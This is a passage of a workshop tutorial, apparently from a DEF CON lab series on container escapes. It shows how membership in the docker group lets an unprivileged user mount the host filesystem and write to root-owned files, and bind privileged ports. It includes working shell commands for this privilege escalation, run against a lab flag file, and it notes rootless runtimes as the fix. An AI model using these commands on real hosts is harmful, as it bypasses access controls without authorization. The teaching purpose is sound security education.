Post

Container Escapes 101 - Runtime user groups

Container Escapes 101 - Runtime user groups

In this workshop, we’re going to use the default container runtime group to escalate our privileges on the host. This is useful to escalate privileges by launching a privileged process even if we can’t do something simpler, like use sudo.

Why do runtimes have a user group?

The container runtime often (but not always) has a user group that can run containers. For a rootful runtime, like Docker is by default, adding a user to that group is giving them root on the host.

We’ve relied on this already a couple times without calling it out explicitly.

Here’s the same file write that we started with, but with some context about why that worked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# unprivileged user starting docker
user@escapes:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd),990(docker)
user@escapes:~$ docker run -it \
  --volume /:/mnt \
  ubuntu:24.04 \
  bash

# inside the container, as root
root@8110ca90e3b1:/# cat /mnt/boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
root@8110ca90e3b1:/# echo -en "natalie was here\n" >> /mnt/boot/flag.txt
root@8110ca90e3b1:/# cat /mnt/boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
natalie was here
root@8110ca90e3b1:/# exit
exit

# back to the unprivileged user on the host, let's write to that file
user@escapes:~$ echo -en "unprivileged natalie was here\n" >> /boot/flag.txt
-bash: /boot/flag.txt: Permission denied

# but we can read the changes we made to it from an unprivileged container
user@escapes:~$ cat /boot/flag.txt
hiya, you found me at appsec village @ defcon 33!
natalie was here

A container is a process. By default, it inherits permissions same as any other process.

Expanding our possibilities

It’s not just file writes that we can escalate using our runtime’s user group. We can do anything that group can do, which is usually the same as root on the host. Let’s try to run a service on a privileged network port, like 80 or 443.

❓ Let’s start a service on an unprivileged port, like 8080. Does it work?

hint You can use `python3 -m http.server 8080` to start a simple HTTP server.
example answer
# unprivileged user, unprivileged port
user@escapes:~$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
^C
Keyboard interrupt received, exiting.


❓ Now let’s try to run a service on a privileged port, like 80 or 443. Does it work?

hint Just change the port number in the command you used above to anything below 1024.
example answer
# unprivileged user, privileged port
user@escapes:~$ python3 -m http.server 80
Traceback (most recent call last):
  File "\<frozen runpy\>", line 198, in _run_module_as_main
  File "\<frozen runpy\>", line 88, in _run_code
  File "/usr/lib/python3.12/http/server.py", line 1314, in \<module\>
    test(
  File "/usr/lib/python3.12/http/server.py", line 1261, in test
    with ServerClass(addr, HandlerClass) as httpd:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/socketserver.py", line 457, in __init__
    self.server_bind()
  File "/usr/lib/python3.12/http/server.py", line 1308, in server_bind
    return super().server_bind()
           ^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/http/server.py", line 136, in server_bind
    socketserver.TCPServer.server_bind(self)
  File "/usr/lib/python3.12/socketserver.py", line 473, in server_bind
    self.socket.bind(self.server_address)
PermissionError: [Errno 13] Permission denied


Okay, that worked exactly as we expected, but let’s try it again, but this time in a container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
user@escapes:~$ docker run -it --rm -d -p 80:80 --name web nginx
Unable to find image 'nginx:latest' locally
latest: Pulling from library/nginx
b3407f3b5b5b: Pull complete
a3bfeb063ded: Pull complete
10d3f5dcba63: Pull complete
6d01b3c42c10: Pull complete
ecab78f9d45d: Pull complete
7996b9ca9891: Pull complete
5850200e50af: Pull complete
Digest: sha256:84ec966e61a8c7846f509da7eb081c55c1d56817448728924a87ab32f12a72fb
Status: Downloaded newer image for nginx:latest
490c59a50d811fe137654395b6c392d188071b33aac5a0f2715440eef4521e65
user@escapes:~$ docker ps
CONTAINER ID   IMAGE     COMMAND                  CREATED         STATUS         PORTS                                 NAMES
490c59a50d81   nginx     "/docker-entrypoint.…"   3 minutes ago   Up 3 minutes   0.0.0.0:80->80/tcp, [::]:80->80/tcp   web

Now if we’re on the virtual machine with a GUI, we can go to http://localhost or use curl to see the web server running.

1
2
3
4
5
6
7
8
9
10
user@escapes:~$ curl -I http://localhost
HTTP/1.1 200 OK
Server: nginx/1.29.0
Date: Wed, 23 Jul 2025 02:58:14 GMT
Content-Type: text/html
Content-Length: 615
Last-Modified: Tue, 24 Jun 2025 17:22:41 GMT
Connection: keep-alive
ETag: "685adee1-267"
Accept-Ranges: bytes

If your browser is on a laptop as is your VM, you’ll need to set up port forwarding in your hypervisor of choice. Here’s what that looks like in VirtualBox:

virtualbox port forwarding light virtualbox port forwarding dark

And in our laptop’s web browser, we can see the web server giving us stuff!

nginx web server light nginx web server dark

… or … even though our user user can’t launch a service on port 80, we can by launching a process in a container. Since the runtime group has extra privileges and our user is in that group, we’re good.

Some good news!

This is one of those paths to privilege escalation that’s so well-known that it’s (slowly) becoming obsolete. Podman runs without any special privileges by default. Docker has supported rootless mode for years, although it isn’t the default “quickstart install” directions. Slowly but surely, this is going away.

But it’d be negligent to not check that … 😊

tl;dr adding a user to the runtime user group gives them access to do all the things that group is allowed to do. While it’s not news in any linux security contexts, plenty of teams still don’t realize this. Up next, let’s play with the runtime’s socket!

Back to the index.

This post is licensed under CC BY-NC-SA 4.0 by the author.